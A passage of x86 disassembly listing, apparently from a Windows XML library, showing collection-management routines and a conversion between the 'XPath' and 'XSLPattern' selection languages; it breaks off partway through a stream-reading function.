		mov	esi, ecx
		call	sub_69B8A0D2
		test	[esp+4+arg_0], 1
		jz	short loc_69B8A0CB
		lea	eax, [esi-8]
		push	eax
		call	sub_69B1B2B7


loc_69B8A0CB:				; CODE XREF: sub_69B8A0B3+Dj
		lea	eax, [esi-8]
		pop	esi
		retn	4
sub_69B8A0B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A0D2	proc near		; CODE XREF: sub_69B8A0B3+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		add	esi, 0Ch
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B8A0D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A0E9	proc near		; CODE XREF: sub_69B4E634+1CBp
					; sub_69B6ED05+28p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [edx+14h]
		mov	[ecx], eax
		mov	edx, [edx+0Ch]
		lea	eax, [eax+edx*4]
		mov	[ecx+4], eax
		retn	4
sub_69B8A0E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A0FE	proc near		; DATA XREF: .text:69B14794o
		mov	eax, offset off_69B2B1C8
		retn
sub_69B8A0FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A104	proc near		; DATA XREF: .text:69B147ACo
					; .text:69B147ECo ...
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+0Ch]
		jmp	short loc_69B8A116
; ---------------------------------------------------------------------------


loc_69B8A10D:				; CODE XREF: sub_69B8A104+16j
		mov	eax, [esi]
		dec	edi
		push	0
		push	edi
		call	dword ptr [eax+38h]


loc_69B8A116:				; CODE XREF: sub_69B8A104+7j
		test	edi, edi
		mov	ecx, esi
		jnz	short loc_69B8A10D
		pop	edi
		pop	esi
		jmp	nullsub_5
sub_69B8A104	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A123	proc near		; DATA XREF: .text:69B147A0o
					; .text:69B147E0o ...
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B2F49D
		mov	edi, eax
		mov	eax, [esi+8]
		mov	[edi+8], eax
		mov	eax, [esi+0Ch]
		mov	[edi+0Ch], eax
		push	dword ptr [esi+10h]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		mov	ebx, [esi+0Ch]
		jmp	short loc_69B8A159
; ---------------------------------------------------------------------------


loc_69B8A14A:				; CODE XREF: sub_69B8A123+38j
		mov	ecx, [esi+14h]
		mov	eax, [edi]
		dec	ebx
		push	dword ptr [ecx+ebx*4]
		mov	ecx, edi
		push	ebx
		call	dword ptr [eax+38h]


loc_69B8A159:				; CODE XREF: sub_69B8A123+25j
		test	ebx, ebx
		jnz	short loc_69B8A14A
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B8A123	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A163	proc near		; CODE XREF: .text:69B3D78Ap
					; sub_69B3E242+72p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx+14h]
		mov	ecx, [esp+arg_0]
		mov	eax, [eax+ecx*4]
		retn	4
sub_69B8A163	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A170	proc near		; CODE XREF: sub_69B8A35C+8p

arg_0		= dword	ptr  4

		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, eax
		jle	short loc_69B8A197
		mov	edx, [ecx+8]
		test	edx, edx
		jnz	short loc_69B8A189
		lea	eax, [eax+eax+2]
		jmp	short loc_69B8A18B
; ---------------------------------------------------------------------------


loc_69B8A189:				; CODE XREF: sub_69B8A170+11j
		add	eax, edx


loc_69B8A18B:				; CODE XREF: sub_69B8A170+17j
		cmp	esi, eax
		jle	short loc_69B8A191
		mov	eax, esi


loc_69B8A191:				; CODE XREF: sub_69B8A170+1Dj
		mov	edx, [ecx]
		push	eax
		call	dword ptr [edx+3Ch]


loc_69B8A197:				; CODE XREF: sub_69B8A170+Aj
		pop	esi
		retn	4
sub_69B8A170	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A19B	proc near		; CODE XREF: sub_69B677BA+4p
					; sub_69B8A37E+8p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+0Ch], edi
		jle	short loc_69B8A1C2
		mov	ebx, [esp+0Ch+arg_0]


loc_69B8A1AB:				; CODE XREF: sub_69B8A19B+25j
		mov	ecx, [esi+14h]
		push	dword ptr [ecx+edi*4]
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+24h]
		test	al, al
		jnz	short loc_69B8A1CB
		inc	edi
		cmp	edi, [esi+0Ch]
		jl	short loc_69B8A1AB


loc_69B8A1C2:				; CODE XREF: sub_69B8A19B+Aj
		or	eax, 0FFFFFFFFh


loc_69B8A1C5:				; CODE XREF: sub_69B8A19B+32j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_69B8A1CB:				; CODE XREF: sub_69B8A19B+1Fj
		mov	eax, edi
		jmp	short loc_69B8A1C5
sub_69B8A19B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A1CF	proc near		; CODE XREF: sub_69B8A6F8+9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_4]
		test	esi, esi
		push	edi
		mov	edi, ecx
		jl	short loc_69B8A1FB
		mov	ebx, [esp+0Ch+arg_0]


loc_69B8A1E0:				; CODE XREF: sub_69B8A1CF+2Aj
		mov	eax, [edi+14h]
		lea	eax, [eax+esi*4]
		cmp	dword ptr [eax], 0
		jz	short loc_69B8A1F8
		push	dword ptr [eax]
		mov	edx, [ebx]
		mov	ecx, ebx
		call	dword ptr [edx+24h]
		test	al, al
		jnz	short loc_69B8A204


loc_69B8A1F8:				; CODE XREF: sub_69B8A1CF+1Aj
		dec	esi
		jns	short loc_69B8A1E0


loc_69B8A1FB:				; CODE XREF: sub_69B8A1CF+Bj
		or	eax, 0FFFFFFFFh


loc_69B8A1FE:				; CODE XREF: sub_69B8A1CF+37j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_69B8A204:				; CODE XREF: sub_69B8A1CF+27j
		mov	eax, esi
		jmp	short loc_69B8A1FE
sub_69B8A1CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A208	proc near		; CODE XREF: sub_69B3E044+43p
					; sub_69B3E044+50p ...
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+0Ch], edi
		jle	short loc_69B8A223


loc_69B8A213:				; CODE XREF: sub_69B8A208+19j
		mov	eax, [esi]
		push	0
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+38h]
		inc	edi
		cmp	edi, [esi+0Ch]
		jl	short loc_69B8A213


loc_69B8A223:				; CODE XREF: sub_69B8A208+9j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_69B8A208	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A22A	proc near		; CODE XREF: sub_69B4D535+22p
					; sub_69B55AD3+A4p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jl	short loc_69B8A271
		cmp	edi, [esi+0Ch]
		jge	short loc_69B8A271
		mov	eax, [esi]
		push	0
		push	edi
		call	dword ptr [eax+38h]
		mov	eax, [esi+0Ch]
		sub	eax, edi
		dec	eax
		jz	short loc_69B8A262
		mov	ecx, [esi+14h]
		shl	eax, 2
		lea	ecx, [ecx+edi*4]
		push	eax
		lea	eax, [ecx+4]
		push	eax
		push	ecx
		call	sub_69B22103
		add	esp, 0Ch


loc_69B8A262:				; CODE XREF: sub_69B8A22A+1Fj
		dec	dword ptr [esi+0Ch]
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		and	dword ptr [ecx+eax*4], 0
		jmp	short loc_69B8A27B
; ---------------------------------------------------------------------------


loc_69B8A271:				; CODE XREF: sub_69B8A22A+Aj
					; sub_69B8A22A+Fj
		push	80070057h
		call	sub_69B2E8B8


loc_69B8A27B:				; CODE XREF: sub_69B8A22A+45j
		pop	edi
		pop	esi
		retn	4
sub_69B8A22A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A280	proc near		; DATA XREF: .text:69B147A4o
					; .text:69B147E4o ...
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B88D77
		xor	edi, edi
		cmp	[esi+0Ch], edi
		mov	ebx, eax
		jle	short loc_69B8A2BD


loc_69B8A293:				; CODE XREF: sub_69B8A280+3Bj
		mov	eax, [esi+14h]
		mov	ecx, [eax+edi*4]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B88EA5
		inc	edi
		cmp	edi, [esi+0Ch]
		jge	short loc_69B8A2BD
		push	offset asc_69B2A5AC ; ", "
		mov	ecx, ebx
		call	sub_69B88E04
		cmp	edi, [esi+0Ch]
		jl	short loc_69B8A293


loc_69B8A2BD:				; CODE XREF: sub_69B8A280+11j
					; sub_69B8A280+2Aj
		mov	eax, [ebx]
		pop	edi
		pop	esi
		mov	ecx, ebx
		pop	ebx
		jmp	dword ptr [eax+2Ch]
sub_69B8A280	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A2C7	proc near		; DATA XREF: .text:69B147D4o
		mov	eax, offset off_69B8A2D0
		retn
sub_69B8A2C7	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B8A2D0	dd offset off_69B2B1C8	; DATA XREF: sub_69B8A2C7o
		dd offset sub_69B8A46F

; =============== S U B	R O U T	I N E =======================================



sub_69B8A2D8	proc near		; DATA XREF: .text:69B147F0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [ecx+14h]
		mov	ecx, [esp+arg_0]
		push	[esp+arg_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_69B2DEB2
		retn	8
sub_69B8A2D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A2EF	proc near		; DATA XREF: .text:69B16CC8o
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+3Ch]
		inc	dword ptr [esi+8]
		pop	esi
		retn
sub_69B8A2EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A2FC	proc near		; CODE XREF: .text:69B8A323p
					; sub_69B8A440+7p ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B2DC24
		mov	dword ptr [esi], offset	off_69B14778
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8A2FC	endp

; ---------------------------------------------------------------------------


loc_69B8A314:				; DATA XREF: .text:69B2B1CCo
		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8A329
		push	0
		mov	ecx, eax
		call	sub_69B8A2FC
		retn
; ---------------------------------------------------------------------------


loc_69B8A329:				; CODE XREF: .text:69B8A31Dj
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_69B8A32C	proc near		; DATA XREF: .text:69B147B0o
					; .text:69B14830o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [ecx+14h]
		mov	ecx, [esp+arg_0]
		push	[esp+arg_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_69B17320
		retn	8
sub_69B8A32C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A343	proc near		; CODE XREF: sub_69B8A425+3p
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+14h]
		mov	dword ptr [esi], offset	off_69B14778
		call	sub_69B1B2B7
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B8A343	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A35C	proc near		; CODE XREF: sub_69B17064+33p
					; sub_69B17064+69p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		inc	eax
		push	eax
		call	sub_69B8A170
		push	[esp+4+arg_0]
		mov	eax, [esi]
		push	dword ptr [esi+0Ch]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		inc	dword ptr [esi+0Ch]
		pop	esi
		retn	4
sub_69B8A35C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A37E	proc near		; CODE XREF: sub_69B3D8AA+13p
					; sub_69B3D8AA+2Ap

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B8A19B
		test	eax, eax
		setnl	bl
		test	bl, bl
		jz	short loc_69B8A39C
		push	eax
		mov	ecx, esi
		call	sub_69B8A22A


loc_69B8A39C:				; CODE XREF: sub_69B8A37E+14j
		pop	esi
		mov	al, bl
		pop	ebx
		retn	4
sub_69B8A37E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A3A3	proc near		; DATA XREF: .text:69B1479Co
					; .text:69B147DCo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, ecx
		cmp	edi, esi
		jz	short loc_69B8A3EB
		test	esi, esi
		jz	short loc_69B8A3EF
		push	esi
		mov	ecx, offset off_69B2B1C8
		call	sub_69B1885E
		test	al, al
		jz	short loc_69B8A3EF
		mov	eax, [edi+0Ch]
		cmp	[esi+0Ch], eax
		jnz	short loc_69B8A3EF
		lea	ecx, [eax-1]
		test	ecx, ecx
		jl	short loc_69B8A3EB
		mov	eax, [edi+14h]
		mov	esi, [esi+14h]
		lea	edx, [eax+ecx*4]
		sub	esi, eax


loc_69B8A3DC:				; CODE XREF: sub_69B8A3A3+46j
		mov	eax, [esi+edx]
		cmp	eax, [edx]
		jnz	short loc_69B8A3EF
		dec	ecx
		sub	edx, 4
		test	ecx, ecx
		jge	short loc_69B8A3DC


loc_69B8A3EB:				; CODE XREF: sub_69B8A3A3+Aj
					; sub_69B8A3A3+2Cj
		mov	al, 1
		jmp	short loc_69B8A3F1
; ---------------------------------------------------------------------------


loc_69B8A3EF:				; CODE XREF: sub_69B8A3A3+Ej
					; sub_69B8A3A3+1Dj ...
		xor	al, al


loc_69B8A3F1:				; CODE XREF: sub_69B8A3A3+4Aj
		pop	edi
		pop	esi
		retn	4
sub_69B8A3A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A3F6	proc near		; DATA XREF: .text:69B16CC0o
		mov	eax, [ecx+4]
		mov	ecx, [ecx+8]
		xor	edx, edx
		cmp	ecx, [eax+0Ch]
		setl	dl
		mov	al, dl
		retn
sub_69B8A3F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A407	proc near		; DATA XREF: .text:69B16CC4o
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+38h]
		test	al, al
		jz	short loc_69B8A421
		mov	eax, [esi+4]
		mov	ecx, [esi+8]
		mov	eax, [eax+14h]
		mov	eax, [eax+ecx*4]
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B8A421:				; CODE XREF: sub_69B8A407+Aj
		xor	eax, eax
		pop	esi
		retn
sub_69B8A407	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A425	proc near		; DATA XREF: .text:69B14784o
					; .text:69B147C4o ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8A343
		test	[esp+4+arg_0], 1
		jz	short loc_69B8A43A
		push	esi
		call	sub_69B1829F


loc_69B8A43A:				; CODE XREF: sub_69B8A425+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8A425	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A440	proc near		; CODE XREF: sub_69B8A46F+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B8A2FC
		mov	dword ptr [esi], offset	off_69B147B8
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8A440	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A458	proc near		; CODE XREF: sub_69B3E7B0+2Cp
					; sub_69B4399D+49p ...
		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8A46A
		mov	ecx, eax
		jmp	sub_69B1D811
; ---------------------------------------------------------------------------


loc_69B8A46A:				; CODE XREF: sub_69B8A458+9j
		xor	eax, eax
		retn	8
sub_69B8A458	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A46F	proc near		; DATA XREF: .text:69B8A2D4o
		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8A484
		push	0
		mov	ecx, eax
		call	sub_69B8A440
		retn
; ---------------------------------------------------------------------------


loc_69B8A484:				; CODE XREF: sub_69B8A46F+9j
		xor	eax, eax
		retn
sub_69B8A46F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B8A4FA


loc_69B8A487:				; CODE XREF: sub_69B8A4FA+Dj
		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		call	sub_69B1D811
		mov	dword ptr [esi], offset	off_69B147B8
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B8A4FA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8A4A3	proc near		; CODE XREF: sub_69B8A4F3+1p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		push	esi
		call	sub_69B1B42A
		push	eax
		lea	ecx, [ebp+var_C]
		call	sub_69B11D3B
		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8A4D1
		mov	ecx, eax
		call	sub_69B16C60
		mov	esi, eax
		jmp	short loc_69B8A4D3
; ---------------------------------------------------------------------------


loc_69B8A4D1:				; CODE XREF: sub_69B8A4A3+21j
		xor	esi, esi


loc_69B8A4D3:				; CODE XREF: sub_69B8A4A3+2Cj
		push	[ebp+arg_0]
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+10h], 0
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		lea	eax, [esi+8]
		pop	esi
		leave
		retn	4
sub_69B8A4A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A4F3	proc near		; CODE XREF: sub_69B7855F+CBp
					; sub_69B8D899+23p ...
		push	ecx
		call	sub_69B8A4A3
		retn
sub_69B8A4F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A4FA	proc near		; CODE XREF: sub_69B3E7B0+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B8A487 SIZE 0000001C BYTES

		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8A50C
		mov	ecx, eax
		jmp	loc_69B8A487
; ---------------------------------------------------------------------------


loc_69B8A50C:				; CODE XREF: sub_69B8A4FA+9j
		xor	eax, eax
		retn	8
sub_69B8A4FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A511	proc near		; CODE XREF: sub_69B7624E+1B3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		neg	ecx
		lea	eax, [esi+8]
		sbb	ecx, ecx
		and	ecx, eax
		call	sub_69B18700
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B8A511	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B8A535(VARIANTARG	*pvarSrc, int)

sub_69B8A535	proc near		; CODE XREF: sub_69B59028+83p

pvargDest	= VARIANTARG ptr -10h
pvarSrc		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	word ptr [ebp+pvargDest.anonymous_0], 0
		push	ebx
		push	8		; vt
		push	0		; wFlags
		push	409h		; lcid
		push	[ebp+pvarSrc]	; pvarSrc
		lea	eax, [ebp+pvargDest]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B8A5A5
		cmp	dword ptr [ebp+pvargDest.anonymous_0+8], eax
		jnz	short loc_69B8A569
		mov	ebx, 80004005h
		jmp	short loc_69B8A5A5
; ---------------------------------------------------------------------------


loc_69B8A569:				; CODE XREF: sub_69B8A535+2Bj
		push	esi
		mov	esi, ds:StrCmpW
		push	offset aXpath	; "XPath"
		push	dword ptr [ebp+pvargDest.anonymous_0+8]	; psz1
		call	esi ; StrCmpW
		test	eax, eax
		jnz	short loc_69B8A589
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 1
		jmp	short loc_69B8A5A4
; ---------------------------------------------------------------------------


loc_69B8A589:				; CODE XREF: sub_69B8A535+47j
		push	offset aXslpattern ; "XSLPattern"
		push	dword ptr [ebp+pvargDest.anonymous_0+8]	; psz1
		call	esi ; StrCmpW
		test	eax, eax
		jnz	short loc_69B8A59F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		jmp	short loc_69B8A5A4
; ---------------------------------------------------------------------------


loc_69B8A59F:				; CODE XREF: sub_69B8A535+60j
		mov	ebx, 80004005h


loc_69B8A5A4:				; CODE XREF: sub_69B8A535+52j
					; sub_69B8A535+68j
		pop	esi


loc_69B8A5A5:				; CODE XREF: sub_69B8A535+26j
					; sub_69B8A535+32j
		lea	eax, [ebp+pvargDest]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, ebx
		pop	ebx
		leave
		retn	8
sub_69B8A535	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A5B6	proc near		; CODE XREF: sub_69B8A5D5+15p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 0
		jz	short loc_69B8A5CD
		dec	eax
		jz	short loc_69B8A5C6
		xor	eax, eax
		jmp	short locret_69B8A5D2
; ---------------------------------------------------------------------------


loc_69B8A5C6:				; CODE XREF: sub_69B8A5B6+Aj
		mov	eax, offset aXpath ; "XPath"
		jmp	short locret_69B8A5D2
; ---------------------------------------------------------------------------


loc_69B8A5CD:				; CODE XREF: sub_69B8A5B6+7j
		mov	eax, offset aXslpattern	; "XSLPattern"

locret_69B8A5D2:			; CODE XREF: sub_69B8A5B6+Ej
					; sub_69B8A5B6+15j
		retn	4
sub_69B8A5B6	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B8A5D5(VARIANTARG	*pvarg,	int)

sub_69B8A5D5	proc near		; CODE XREF: sub_69B5529C+74p
					; sub_69B5704A+Ap

pvarg		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+pvarg]
		push	esi		; pvarg
		call	VariantInit
		push	[esp+4+arg_4]
		mov	word ptr [esi],	8
		call	sub_69B8A5B6
		push	eax		; OLECHAR *
		call	SysAllocString
		test	eax, eax
		mov	[esi+8], eax
		pop	esi
		jnz	short locret_69B8A603
		call	sub_69B2E87C

locret_69B8A603:			; CODE XREF: sub_69B8A5D5+27j
		retn	8
sub_69B8A5D5	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B8A606(LPCWSTR psz1)

sub_69B8A606	proc near		; CODE XREF: sub_69B5529C+4Ep
					; sub_69B59028+52p ...

psz1		= dword	ptr  4

		cmp	[esp+psz1], 0
		jnz	short loc_69B8A611
		xor	eax, eax
		jmp	short locret_69B8A626
; ---------------------------------------------------------------------------


loc_69B8A611:				; CODE XREF: sub_69B8A606+5j
		push	off_69B9B054	; psz2
		push	[esp+4+psz1]	; psz1
		call	ds:StrCmpW	; StrCmpW
		neg	eax
		sbb	eax, eax
		inc	eax

locret_69B8A626:			; CODE XREF: sub_69B8A606+9j
		retn	4
sub_69B8A606	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A629	proc near		; DATA XREF: .text:69B14814o
		mov	eax, offset off_69B8A630
		retn
sub_69B8A629	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B8A630	dd offset off_69B2B1C8	; DATA XREF: sub_69B8A629o
		dd offset sub_69B8A688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B8A676


loc_69B8A638:				; CODE XREF: sub_69B8A676+Dj
		push	esi
		push	0
		push	10h
		mov	esi, ecx
		call	sub_69B1D811
		mov	dword ptr [esi], offset	off_69B147F8
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B8A676

; =============== S U B	R O U T	I N E =======================================



sub_69B8A64E	proc near		; DATA XREF: .text:69B14844o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_69B8A35C
		mov	eax, [esp+arg_0]
		retn	4
sub_69B8A64E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A65E	proc near		; CODE XREF: sub_69B8A688+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B8A2FC
		mov	dword ptr [esi], offset	off_69B147F8
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8A65E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A676	proc near		; CODE XREF: sub_69B78A78+Ep
					; sub_69B8D1CE+4p ...

; FUNCTION CHUNK AT 69B8A638 SIZE 00000016 BYTES

		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8A685
		mov	ecx, eax
		jmp	short loc_69B8A638
; ---------------------------------------------------------------------------


loc_69B8A685:				; CODE XREF: sub_69B8A676+9j
		xor	eax, eax
		retn
sub_69B8A676	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A688	proc near		; DATA XREF: .text:69B8A634o
		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8A69D
		push	0
		mov	ecx, eax
		call	sub_69B8A65E
		retn
; ---------------------------------------------------------------------------


loc_69B8A69D:				; CODE XREF: sub_69B8A688+9j
		xor	eax, eax
		retn
sub_69B8A688	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A6A0	proc near		; DATA XREF: .text:69B14838o
		xor	eax, eax
		cmp	[ecx+0Ch], eax
		setz	al
		retn
sub_69B8A6A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A6A9	proc near		; DATA XREF: .text:69B1483Co
		mov	eax, [ecx+0Ch]
		test	eax, eax
		jle	short loc_69B8A6B8
		dec	eax
		push	eax
		call	sub_69B8A163
		retn
; ---------------------------------------------------------------------------


loc_69B8A6B8:				; CODE XREF: sub_69B8A6A9+5j
		push	80004005h
		call	sub_69B2E8B8
		xor	eax, eax
		retn
sub_69B8A6A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A6C5	proc near		; DATA XREF: .text:69B14840o
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		test	eax, eax
		push	edi
		jle	short loc_69B8A6E7
		dec	eax
		push	eax
		call	sub_69B8A163
		mov	edi, eax
		mov	eax, [esi+0Ch]
		dec	eax
		push	eax
		mov	ecx, esi
		call	sub_69B8A22A
		jmp	short loc_69B8A6F3
; ---------------------------------------------------------------------------


loc_69B8A6E7:				; CODE XREF: sub_69B8A6C5+9j
		push	80004005h
		call	sub_69B2E8B8
		xor	edi, edi


loc_69B8A6F3:				; CODE XREF: sub_69B8A6C5+20j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B8A6C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A6F8	proc near		; DATA XREF: .text:69B14848o

arg_0		= dword	ptr  4

		mov	eax, [ecx+0Ch]
		dec	eax
		push	eax
		push	[esp+4+arg_0]
		call	sub_69B8A1CF
		retn	4
sub_69B8A6F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A709	proc near		; CODE XREF: sub_69B173D1+224p
					; sub_69B173D1+27Cp ...
		cmp	dword ptr [ecx+18h], 1
		jnz	short locret_69B8A713
		or	dword ptr [ecx+0Ch], 3

locret_69B8A713:			; CODE XREF: sub_69B8A709+4j
		retn
sub_69B8A709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8A714	proc near		; CODE XREF: sub_69B8A7C4+1Fp
					; sub_69B8A828+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, ecx
		cmp	byte ptr [ebx+10h], 0
		push	esi
		push	edi
		mov	[ebp+var_4], 2
		jnz	short loc_69B8A797
		mov	eax, [ebx+20h]
		test	eax, eax
		jz	short loc_69B8A797
		mov	ecx, [ebx+1028h]
		mov	esi, [ebx+102Ch]
		mov	edx, [eax]
		lea	edi, [ebp+var_8]
		push	edi
		sub	esi, ecx
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+10h]
		mov	edi, eax
		test	edi, edi
		setl	al
		mov	[ebx+10h], al
		mov	eax, [ebx+24h]
		test	eax, eax
		jz	short loc_69B8A78B
		cmp	edi, 1
		jnz	short loc_69B8A76E
		sub	esi, [ebp+var_8]
		xor	edi, edi
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi
		jmp	short loc_69B8A78B
; ---------------------------------------------------------------------------


loc_69B8A76E:				; CODE XREF: sub_69B8A714+4Cj
		cmp	edi, 8000FFFFh
		jnz	short loc_69B8A78B
		push	0
		push	eax
		push	0C00CE029h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B8A78B:				; CODE XREF: sub_69B8A714+47j
					; sub_69B8A714+58j ...
		cmp	byte ptr [ebx+10h], 0
		jz	short loc_69B8A797
